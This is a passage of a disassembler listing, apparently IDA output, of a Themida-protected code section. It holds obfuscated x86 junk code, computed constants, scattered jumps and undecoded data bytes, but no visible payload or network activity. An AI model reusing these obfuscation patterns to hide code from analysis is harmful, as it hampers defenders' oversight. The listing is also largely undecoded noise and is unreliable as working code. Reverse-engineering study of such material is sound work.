		dd 0BDE95455h, 89FFFF44h, 0CF295BD9h, 0FF2C59E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56497D:				; CODE XREF: Themida_:0055EFE0j
		push	7200h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		push	43111E55h
		pop	esi
		xor	esi, 43111E51h
		jmp	loc_5681B1
; ---------------------------------------------------------------------------


loc_56499F:				; CODE XREF: Themida_:0055F64Cj
		add	esp, 4
		not	ah
		push	ebx
		jmp	loc_55DDA0
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0BA70E924h, 0C7FEFFFFh, 0FFD317E9h, 4C483FFh, 5C243C87h
		dd 4EC8155h, 89000000h,	7AE92424h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5649CF:				; CODE XREF: Themida_:00562918j
		add	ebp, edx
		jmp	loc_560B47
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 6E0C103h, 0E29EE995h, 0BD55FFFEh, 241809BFh,	2C8BEB89h
		dd 4C48124h, 81000000h,	0E72C04CBh, 7E3C14Ah, 2BFFF381h
		dd 0BF576A9Dh, 1BC529AAh, 11C7E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A0E:				; CODE XREF: Themida_:005601D9j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_560ACA
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 5
		dd 0A1F6C281h, 1BE92AD7h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A27:				; CODE XREF: Themida_:00564123j
		add	esp, 4
		push	edi
		push	4
		mov	edi, [esp]
		add	esp, 4
		add	eax, 1E563ED0h
		sub	eax, edi
		sub	eax, 1E563ED0h
		pop	edi
		jmp	loc_567230
; ---------------------------------------------------------------------------


loc_564A4E:				; CODE XREF: Themida_:0055475Bj
		push	eax
		push	ebp
		mov	ebp, 39334B56h
		neg	ebp
		dec	ebp
		xor	ebp, 0C901EA7Ah
		mov	eax, ebp
		pop	ebp
		sub	ebx, eax
		pop	eax
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_563118
; ---------------------------------------------------------------------------


loc_564A72:				; CODE XREF: Themida_:00563A30j
		add	esi, ecx
		jmp	loc_553ED2
; ---------------------------------------------------------------------------
byte_564A79	db 66h,	8Bh, 4		; DATA XREF: Themida_:005529ECo
aHH		db '$hжh',0
		align 2
		dw 3C89h
		dd 0C0D6824h, 24890000h, 4BB5324h, 1000000h, 5B04245Ch
		dd 0E9243C8Bh, 0FFFEEE5Bh, 241C895Ch, 0FFACD3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564AA9:				; CODE XREF: Themida_:0056363Ej
		sub	ebx, 6B237748h
		inc	ebx
		shr	ebx, 7
		inc	ebx
		shl	ebx, 3
		sub	ebx, 0A618E4A1h
		add	esi, ebx
		pop	ebx
		mov	edi, esi
		pop	esi
		jmp	loc_5672C1
; ---------------------------------------------------------------------------
		dd 0FA88EF88h, 305B595Bh, 14322414h, 0D944E924h, 0C281FFFFh
		dd 76703E89h, 565AD531h, 0D27215BEh, 2E6C10Dh, 6B7EC681h
		dd 0BF5727C8h, 407E7C79h, 0E7C1DFF7h, 0ECADE908h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564B02:				; CODE XREF: Themida_:00562CCDj
		or	eax, eax
		jz	loc_566AE4
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, 128F2FCEh
		xor	[esp+4], ecx
		jmp	loc_561D79
; ---------------------------------------------------------------------------
		dd offset dword_567268
		dd 24348900h, 0C6815E54h, 4, 4EE81h, 0C6E90000h, 5EFFFEE6h
		dd 0FEE299E9h, 0B4BE56FFh, 2926DC16h, 0BF575EF0h, 3B5068F0h
		dd 3697E9h, 0F8CB8100h,	52536753h, 520EA6BAh, 97C28178h
		dd 0E9249E40h, 0FFFEE104h, 5759CE21h, 6A0333BFh, 6E7C10Eh
		dd 6E1AE781h, 0E7C171D0h, 0EE30E906h, 1C8BFFFFh, 4C48124h
		dd 2C000000h, 0ECACE9E5h, 4401FFFEh, 6C810424h,	7B900424h
		dd 56582BD0h, 7D719DBEh, 4C58E94Ah, 0EC81FFFFh,	4, 54243C89h
		dd 4C7815Fh, 0E9000000h, 0FFFFF2BCh, 5F0295Fh, 5E9A5A48h
		dd 67E9525Eh, 58FFFF1Dh, 0FF3645E9h, 7CE943FFh
		db 9, 2	dup(0)
byte_564BDB	db 0FFh			; DATA XREF: Themida_:005528DCo
		dd 669D1C77h, 14D36659h, 0A6E99C24h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564BEB:				; CODE XREF: Themida_:00558E0Bj
		add	esi, 4
		jmp	loc_55911F
; ---------------------------------------------------------------------------
		dw 0D389h
		dd 0E9D9015Ah, 0FFFEF2F8h
; ---------------------------------------------------------------------------


loc_564C00:				; CODE XREF: Themida_:0055899Ej
		add	edi, ebx
		pop	ebx
		sub	edi, ebp
		sub	edi, 5324191Dh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_554517
; ---------------------------------------------------------------------------
		db 81h
		dd 0C07343E3h, 46F3813Fh, 1020040h, 0EA815BDAh,	4, 0E9241487h
		dd 0FFFFCC56h, 0B8240489h, 4, 0E958C701h, 0FFFFCD5Bh, 5C241487h
		dd 0E92434FFh, 0FFFFFF7Fh
; ---------------------------------------------------------------------------


loc_564C50:				; CODE XREF: Themida_:005672E6j
		push	eax
		push	4
		pop	eax
		jmp	loc_55AB81
; ---------------------------------------------------------------------------
		dd 4247C29h, 2404815Fh,	4A7D719Dh, 0F9242C81h, 5B1E027Bh
		dd 8904EC83h, 42682404h, 585750B2h, 9BE6E957h, 1C33FFFFh
		dd 659CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C8A:				; CODE XREF: Themida_:005585F8j
		xor	[esp+4], ebp
		pop	ebp
		pop	edx
		xor	edx, 2B6F5B60h
		mov	ebx, [esp]
		jmp	loc_55BDA8
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 495AE9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564CA6:				; CODE XREF: Themida_:0055F301j
		sub	ebp, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 53534407h
		push	esi
		jmp	loc_5659CE
; ---------------------------------------------------------------------------
byte_564CC3	db 0ADh			; DATA XREF: Themida_:005529D0o
		dd 0E904EC83h, 0FFFF1626h
; ---------------------------------------------------------------------------


loc_564CCC:				; CODE XREF: Themida_:0056739Bj
		mov	esp, [esp]
		push	6A28h
		mov	[esp], edx
		push	0F41h
		mov	[esp], ebp
		mov	ebp, 7B5F4544h
		not	ebp
		not	ebp
		sub	ebp, 6FA90E74h
		sub	ebp, 9299DBACh
		jmp	loc_55C6E6
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 0FEF83BE9h, 46E950FFh
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D07:				; CODE XREF: Themida_:0055E484j
		push	ebx
		push	5464h
		mov	[esp], edi
		mov	edi, 19D525E7h
		jmp	loc_5622AF
; ---------------------------------------------------------------------------
		dw 0EABBh
		dd 4B781452h, 58BA5243h, 93C4744h, 0F3815AD3h, 32E83EFCh
		dd 3340E381h, 44E970C1h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D3B:				; CODE XREF: Themida_:00562B75j
		lea	eax, [edi+eax*4]
		jmp	loc_568055
; ---------------------------------------------------------------------------
aFyaSi		db 'fY─б╟И╗',7,0
		dd 0EB815D00h, 0C3D1BE09h, 8B5BDE01h, 0C481242Ch, 4, 79B668h
		dd 241C8900h, 0FF479DE9h, 5AD030FFh, 4BE9C300h,	5AFFFFD7h
		dd 4C281h, 0BE560000h, 2A0C49F2h, 33E9h, 0B5BA5200h, 1BF0008h
		dd 0B7E95AD6h
		db 8Ah,	2 dup(0FFh)
byte_564D97	db 66h			; DATA XREF: Themida_:00552B60o
		dd 0E9240C8Bh, 0FFFF3B61h, 6850E189h, 7320h, 0BE243489h
		dd 0F164501h, 164505B8h, 0E9F0310Fh, 0FFFF56D8h, 2AB0CE81h
		dd 0EE815D46h, 7F4E6BEEh, 0E95EF201h, 0FFFF7CB6h, 547768h
		dd 240C8900h, 0FB7716B9h, 0E9CF29FCh, 0FFFF3AC0h, 0C381C329h
		dd 44574A9Fh, 4F59C381h, 0E9574846h, 0FFFFD5AEh, 0E92434FFh
		dd 0FFFFA69Ah
; ---------------------------------------------------------------------------


loc_564E00:				; CODE XREF: Themida_:00566CB3j
		push	esi
		jmp	loc_55BFE0
; ---------------------------------------------------------------------------


loc_564E06:				; CODE XREF: Themida_:00565892j
		add	ecx, esi
		pop	esi
		jmp	loc_566047
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 5819C581h, 87586FB1h, 555C242Ch, 4BDh, 0C768E900h, 295AFFFFh
		dd 243C8BFBh, 8104C483h, 4ECh, 241C8900h, 42474FFh, 0E92434FFh
		dd 24CDh
; ---------------------------------------------------------------------------


loc_564E44:				; CODE XREF: Themida_:005670E5j
		not	edx
		xor	edx, 0DCD1DA92h
		add	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, edx
		jmp	loc_553AAD
; ---------------------------------------------------------------------------
		dw 4F35h
		dd 896C6D69h, 0F70158C7h, 1F86E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564E72:				; CODE XREF: Themida_:0056542Aj
		add	edi, 15CC63AAh
		add	ebp, edi
		pop	edi
		shl	ebp, 4
		xor	ebp, 0E10651D1h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, ebp
		push	esi
		push	ebp
		mov	ebp, ecx
		mov	esi, ebp
		pop	ebp
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_553EC1
; ---------------------------------------------------------------------------
		db 89h,	0F0h, 0E9h
		dd 0FFFF3931h, 0E4E95358h, 81FFFFCCh, 173B2FC9h, 0E1C14112h
		dd 0C7F18108h, 81C79B9Ch, 0D40D7CEEh, 0EDFCE90Ch, 0C381FFFFh
		dd 4, 4EB81h, 1C870000h, 4895C24h, 44E95324h
		db 0E9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564EDF:				; CODE XREF: Themida_:0055FBF6j
		sub	esp, 4
		jmp	loc_554884
; ---------------------------------------------------------------------------
byte_564EE7	db 66h			; DATA XREF: Themida_:00552AC8o
		dd 5124048Bh, 0FF1149E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_56532E
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 0FFCCA7E9h, 0E6C15EFFh, 1AE68104h, 81527958h, 5F359BC6h
		dd 5EF08916h, 48BC231h,	4C48124h, 81000000h, 0B87A9EEAh
		dd 5AD3014Fh, 555BDA01h, 2BDh, 8BEA0100h, 5453242Ch, 1F7BE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F3E:				; CODE XREF: Themida_:0055A3DFj
		and	ebx, 5297C18h
		shl	ebx, 8
		and	ebx, 14370FDh
		sub	ebx, 0FB75C740h
		sub	edi, ebx
		pop	ebx
		add	edi, 7406116Bh
		sub	ebx, edi
		pop	edi
		xor	ebx, 3AB18088h
		and	eax, ebx
		mov	ebx, [esp]
		push	esi
		jmp	loc_559C98
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C4h, 1A71E900h, 2C890000h, 2A19BD24h, 0E82178A2h
		dd 0F5F3055Dh, 0B951A7DDh, 53775B5Dh, 66E5E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F9A:				; CODE XREF: Themida_:005657B8j
		add	eax, 4
		sub	eax, 4
		jmp	loc_55C69F
; ---------------------------------------------------------------------------
		db 1
		dd 68DA05C8h, 0C8B67E6h, 2BEDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564FB6:				; CODE XREF: Themida_:005538B2j
		sub	eax, edx
		pop	edx
		add	eax, 5C0F742Eh
		add	eax, ecx
		sub	eax, 5C0F742Eh
		jmp	loc_55CEDD
; ---------------------------------------------------------------------------
		dw 3B68h
		dd 89000063h, 0B9BD242Ch, 0E931F920h, 0FFFEE6FAh, 7AD5C181h
		dd 6AE97A9Fh, 2DFFFF60h, 44E1344Fh, 2404335Ah, 0E9240431h
		dd 0FFFF8BD7h, 5548CB81h, 0EBC1107Ah, 1FA4E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565006:				; CODE XREF: Themida_:0055FADBj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	3DA3h
		mov	[esp], edx
		push	esp
		jmp	loc_55CC31
; ---------------------------------------------------------------------------


loc_565023:				; CODE XREF: Themida_:00554DFCj
		mov	ebx, 6BA03313h
		mov	edx, 0EB5236B2h
		add	edx, 0AF70058h
		add	edx, 36013289h
		add	edx, ebx
		sub	edx, 36013289h
		sub	edx, 0AF70058h
		jmp	loc_560B5F
; ---------------------------------------------------------------------------
		dd 0E98CB151h, 0FFFFCB5Dh, 66EDD166h, 6607EDC1h, 28BF6657h
		dd 0C06BE93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565066:				; CODE XREF: Themida_:0055AA85j
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_55750F
; ---------------------------------------------------------------------------
		dw 0D989h
		dd 0D9F7415Bh, 1C65C181h, 0F18101D2h, 0B33BBD66h, 368EF81h
		dd 0CF0148F3h, 368C781h, 3DE948F3h
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5650A7:				; CODE XREF: Themida_:00558BDFj
		sub	edi, 3F921D03h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5656B3
; ---------------------------------------------------------------------------


loc_5650B8:				; CODE XREF: Themida_:00564586j
		mov	[esp], ebx
		push	1
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_565E87
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 9A18F6C7h, 0C2B9E966h, 0C605FFFFh, 8B500A28h, 0C481243Ch
		dd 4, 6F05C801h, 53B3724h, 1DB31BF5h, 0FFC16AE9h, 2DD801FFh
		dd 664C1E7Bh, 251E162Dh, 241C8B0Bh, 5704C483h, 2BFh, 5FF80100h
		dd 2474FF50h, 4253E904h, 0D831FFFFh, 0E92434FFh, 0FFFFEB2Bh
		dd 181C26BFh, 0D7F74F00h, 5206EFC1h, 6B2DFCBAh,	87EA8755h
		dd 0E9D387DDh, 0FFFF736Ah, 0E9240489h, 27CFh, 0ECC061B4h
		dd 80DCF603h, 0F48059F4h, 58E62850h, 0D068E680h, 1FCE80E6h
		dd 456EE80h, 0B65266ACh, 66F028FEh, 0B353665Ah,	66D8005Dh
		dd 2CF0005Bh, 66FE045Dh, 28ACB151h, 0E95966C8h,	0FFFF4205h
; ---------------------------------------------------------------------------


loc_565190:				; CODE XREF: Themida_:0055BB92j
		pop	edx
		mov	dh, cl
		pop	ecx
		push	ebx
		jmp	loc_556E77
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 54F65066h,	58660124h, 80EAEC80h, 9BE9B0CCh
		dd 53FFFFBCh, 88E18851h, 0F98859CFh, 0CF88585Bh, 1DB2E9h
		dd 21685C00h, 8900004Fh, 74FF2404h, 8F580424h, 0E95C2404h
		dd 0FFFFDBA4h, 8124348Bh, 4C4h,	0FEF68100h, 8B3BA15Dh
		dd 0C481243Ch, 4, 34FFF001h, 24348B24h,	4C481h,	0C4830000h
		dd 0F5EB8104h, 0E9028167h, 0FFFF36A9h, 0DDF7D5F7h, 0FF31E3E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_561C95
; ---------------------------------------------------------------------------


loc_565221:				; CODE XREF: Themida_:0055A17Aj
		add	esp, 4
		push	ebx
		sub	dword ptr [esp], 6D1748BDh
		pop	ebp
		push	eax
		mov	eax, 0A383A4Fh
		shl	eax, 8
		or	eax, 0C9F7B5Dh
		push	edx
		push	ebp
		jmp	loc_555079
; ---------------------------------------------------------------------------


loc_565245:				; CODE XREF: Themida_:005598B9j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_564625
		push	7143h
		mov	[esp], ebx
		mov	ebx, 4DF64099h
		shr	ebx, 2
		push	ecx
		mov	ecx, 30A56FCh
		xor	ecx, 4DC17020h
		shr	ecx, 3
		xor	ecx, 10413902h
		add	ebx, 59DA7294h
		sub	ebx, ecx
		sub	ebx, 59DA7294h
		pop	ecx
		push	esi
		mov	esi, 39C21A9Dh
		inc	esi
		jmp	loc_561DCD
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FF0031E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565295:				; CODE XREF: Themida_:00562070j
		push	2A51h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4D8F5940h
		push	edx
		jmp	loc_55ACF5
; ---------------------------------------------------------------------------


loc_5652B8:				; CODE XREF: Themida_:00566D9Ej
		mov	edx, 2BB87A85h
		shr	edx, 7
		neg	edx
		neg	edx
		and	edx, 6D259FCh
		jmp	loc_55C9CF
; ---------------------------------------------------------------------------
off_5652CF	dd offset loc_551667+1	; DATA XREF: Themida_:00552914o
		align 4
		dd 7D2568h, 4EC8100h, 54000000h, 8124048Fh, 4ECh, 24348900h
		dd 0FF289DE9h, 2EC83FFh, 0FF823DE9h, 0EBE95BFFh
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5652FF:				; CODE XREF: Themida_:0055799Dj
		sub	edx, 1
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		push	edi
		mov	edi, 0
		jmp	loc_557C5E
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 4BEh, 8BF72900h, 0C4832434h, 7296E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56532E:				; CODE XREF: Themida_:00564EF5j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_55F816
; ---------------------------------------------------------------------------
		db 89h
		dd 0B8E95BDDh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565343:				; CODE XREF: Themida_:0055DFEEj
		push	ecx
		jmp	loc_56408B
; ---------------------------------------------------------------------------
		db 31h,	0D7h, 8Bh
		dd 89572414h, 4C781E7h,	83000000h, 3C8704C7h, 3CE95C24h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565363:				; CODE XREF: Themida_:00563789j
		pop	ebx
		add	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_566873
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0FEE593E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56537D:				; CODE XREF: Themida_:00554898j
		mov	eax, 70AC3DDDh
		not	eax
		sub	eax, 7C3A65BDh
		dec	eax
		shl	eax, 4
		neg	eax
		sub	eax, 0CE6A39BCh
		mov	ebp, eax
		jmp	loc_55B7BE
; ---------------------------------------------------------------------------


loc_56539B:				; CODE XREF: Themida_:00564152j
		push	0C0Bh
		mov	[esp], edi
		jmp	loc_55BE35
; ---------------------------------------------------------------------------
		dd 0B19BE951h, 0DBF7FFFFh, 442EB81h, 0C5E94D61h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5653BB:				; CODE XREF: Themida_:0056306Aj
		push	bx
		push	eax
		mov	al, 0B4h
		or	al, 0FAh
		add	al, 3Dh
		mov	bh, al
		jmp	loc_567F4D
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8EE9F001h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_560FEE
; ---------------------------------------------------------------------------


loc_5653DB:				; CODE XREF: Themida_:00556704j
		mov	esi, esp
		jmp	loc_56586C
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 1A65E305h, 0E9C7016Ah, 0FFFEF319h, 5624148Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 24248B24h, 1C8BD830h, 59545124h
		dd 4C181h, 0C1810000h, 4, 0FEFF02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565421:				; CODE XREF: Themida_:005556A1j
		add	ebp, 866280B3h
		and	edi, ebp
		pop	ebp
		jmp	loc_564E72
; ---------------------------------------------------------------------------
byte_56542F	db 0ADh			; DATA XREF: Themida_:00552A54o
		dd 0EC83D831h, 24148904h, 4CE068h, 2404E900h, 0C5810000h
		dd 18783818h, 0FF5228E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56544D:				; CODE XREF: Themida_:0055CA19j
		push	ecx
		jmp	loc_560D3B
; ---------------------------------------------------------------------------
		db 89h
		dd 8B68240Ch, 89000052h, 0FAE92424h, 5FFFFF8Ch,	735AC381h
		dd 0B6E944C9h, 81000003h, 0CA7CF4C7h, 81CF013Ch, 0CA7CF4EFh
		dd 52EF813Ch, 68558B72h, 4093h,	68242C89h, 11C95689h, 81242C8Bh
		dd 4C4h, 5DEF0100h, 0A68FDh, 0BEE90000h, 89FFFF21h, 0E589242Ch
		dd 4C581h, 0C5810000h, 4, 5C242C87h, 0E94FFA87h, 0FFFF79BCh
		dd 0E95DE889h, 54Ch, 0E9240487h, 0FFFF7765h
; ---------------------------------------------------------------------------


loc_5654D4:				; CODE XREF: Themida_:00555D81j
		push	edx
		mov	edx, 590864DFh
		dec	edx
		xor	edx, 23C77E1Fh
		dec	edx
		jmp	loc_56388B
; ---------------------------------------------------------------------------


loc_5654E7:				; CODE XREF: Themida_:0055D681j
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_55D89F
; ---------------------------------------------------------------------------
a0St		db '0тИT',1Bh,0
		align 4
		dd 4EC81h, 1C890000h, 0D804E924h, 0F729FFFFh, 0FEF495E9h
		dd 749FBBFFh, 0EB811F52h, 16EC6C45h, 2068C381h,	0FFE951B8h
		dd 50FFFF1Dh, 0F480FAB4h, 0A2C480E8h, 0E951E4D0h, 0FFFF8DADh
		dd 4E9DE01h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56553F:				; CODE XREF: Themida_:00553BBAj
		pop	ebx
		push	56C4h
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ebp
		push	ecx
		jmp	loc_55F6F0
; ---------------------------------------------------------------------------
		db 81h
		dd 21E422EBh, 14F753D7h, 0C3815B24h, 692D017Dh,	917AB02Dh
		dd 19D12D41h, 0D8013CBBh, 0BB19D105h, 7AB0053Ch, 0ADE94191h
		dd 5F000026h, 2E768h, 6942E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56558E:				; CODE XREF: Themida_:00554AE8j
		add	esp, 4
		push	48D6h
		mov	[esp], edx
		push	ebx
		mov	ebx, 57731097h
		jmp	loc_5546A3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C2424D2h, 0FED60AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5655B1:				; CODE XREF: Themida_:00557F15j
		or	ebx, 7FF36B43h
		add	ebx, 80049409h
		jmp	loc_556AEB
; ---------------------------------------------------------------------------


loc_5655C2:				; CODE XREF: Themida_:005558BCj
		mov	esp, [esp]
		jmp	loc_56206D
; ---------------------------------------------------------------------------


loc_5655CA:				; CODE XREF: Themida_:0055D148j
		and	eax, edx
		mov	edx, [esp]
		push	eax
		push	esp
		jmp	loc_5667CA
; ---------------------------------------------------------------------------
		dw 483h
		dd 48F0424h, 444BE924h,	0EC83FFFFh, 14896602h, 3C876624h
		dd 0D7F76624h, 243C8766h, 24148B66h, 2A31E9h
		db 0
byte_5655FD	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:005528F8o
		dd 0FED5B6E9h, 241C8BFFh, 4C481h, 0EA310000h, 5AD5015Dh
		dd 533DB951h, 0E1C170D0h, 2E9C104h, 5504E9C1h, 9EF864BDh
		dd 5DE9014Eh, 8159CD01h, 0FEABEEDh, 0B0C6819Fh,	81085A78h
		dd 322CE5EEh, 81EE0126h, 322CE5C6h, 0F314E926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56564E:				; CODE XREF: Themida_:00566CF3j
		add	dword ptr [esp+8], 4CED7C9Ch
		pop	esi
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5627AC
; ---------------------------------------------------------------------------
		dw 84BAh
		dd 897D8F55h, 0D0F75AD0h, 0FFFFB951h, 0E6E9FFFFh
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565693:				; CODE XREF: Themida_:005580DBj
		push	6002h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_5665B4
; ---------------------------------------------------------------------------
		db 0BAh, 9Eh, 2
		dd 0C8E91163h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656B3:				; CODE XREF: Themida_:005650B3j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_56597A
; ---------------------------------------------------------------------------
		db 56h
		dd 42474FFh, 0E92434FFh, 0FFFF7327h
; ---------------------------------------------------------------------------


loc_5656CC:				; CODE XREF: Themida_:0055A232j
		add	esp, 4
		push	eax
		mov	eax, 450040F4h
		push	esi
		mov	esi, 352316A7h
		and	esi, 28AE16A3h
		jmp	loc_55E0CE
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0C3815C24h, 4, 4C381h, 0E9530000h, 0FFFF908Ah, 0E9240433h
		dd 0FFFEF9FFh, 4C281h, 68510000h, 4, 0E9CA0159h, 0FFFF5AEFh
		dd 8B242C87h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_552C98
; ---------------------------------------------------------------------------


loc_565726:				; CODE XREF: Themida_:00559FFAj
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55D26C
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 1Dh
aZSh		db 'ZпИh:{',0
		align 10h
		dd 0FF5BA3E9h
		db 0FFh
byte_565745	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00552AE0o
		dd 7830BF57h, 0C5E926CFh, 4DFFFFE3h, 7F8BB951h,	6FE9A049h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56575F:				; CODE XREF: Themida_:00566653j
		xor	eax, ebp
		push	dword ptr [esp]
		jmp	loc_562700
; ---------------------------------------------------------------------------
		db 68h,	54h, 0Ah
		dd 2C890000h, 45FCBD24h, 24E9635Bh, 29FFFF9Fh, 0F3015EF3h
		dd 0FF93C6E9h, 240C31FFh, 5C240C33h, 4C681h, 34870000h
		dd 0C8855C24h, 0D41DE99Ch, 0D7F6FFFEh, 7BF780h,	51665BF8h
		dd 1D9A68h, 2875E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5657B2:				; CODE XREF: Themida_:005622B7j
		add	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, esp
		jmp	loc_564F9A
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8104C483h, 4ECh, 24048900h, 0F02384B8h, 0DFE9552Eh
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5657D7:				; CODE XREF: Themida_:0055CB77j
		mov	edx, ebx
		pop	ebx
		add	esi, 369F4C83h
		jmp	loc_55471E
; ---------------------------------------------------------------------------


loc_5657E5:				; CODE XREF: Themida_:00562223j
		mov	ebx, 6E908D7h
		mov	edx, ebx
		pop	ebx
		shr	edx, 2
		sub	edx, 0DA93258Bh
		or	esi, edx
		jmp	loc_561968
; ---------------------------------------------------------------------------
		db 5, 0D6h, 38h
		dd 0A2E927D2h, 8BFFFF51h, 0E956240Ch, 0FFFEFBE7h
; ---------------------------------------------------------------------------


loc_565810:				; CODE XREF: Themida_:005577E1j
		push	eax
		sub	dword ptr [esp], 5CC40C8Eh
		pop	ebx
		add	ebx, 5CC40C8Eh
		pop	eax
		jmp	loc_55D717
; ---------------------------------------------------------------------------
		db 1, 0FBh, 81h
		dd 0C9735AEBh, 0D4EB8144h, 56221828h, 8904EC83h, 9168243Ch
		dd 0E9400B67h, 0FFFF3BB3h, 2434875Fh, 241C895Ch, 177AF4BBh
		dd 0FBA5254h, 9705B5Ch,	685AD3h, 29000000h, 535B241Ch
		dd 0E92414F7h, 0FFFF61DBh
; ---------------------------------------------------------------------------


loc_56586C:				; CODE XREF: Themida_:005653DDj
		add	esi, 4
		jmp	loc_55BB10
; ---------------------------------------------------------------------------


loc_565877:				; CODE XREF: Themida_:00559857j
		mov	esi, 3B31A58h
		sub	eax, esi
		jmp	loc_562032
; ---------------------------------------------------------------------------


loc_565883:				; CODE XREF: Themida_:00559421j
		not	edx
		jmp	loc_55F05D
; ---------------------------------------------------------------------------


loc_56588A:				; CODE XREF: Themida_:005665C2j
		pop	ebx
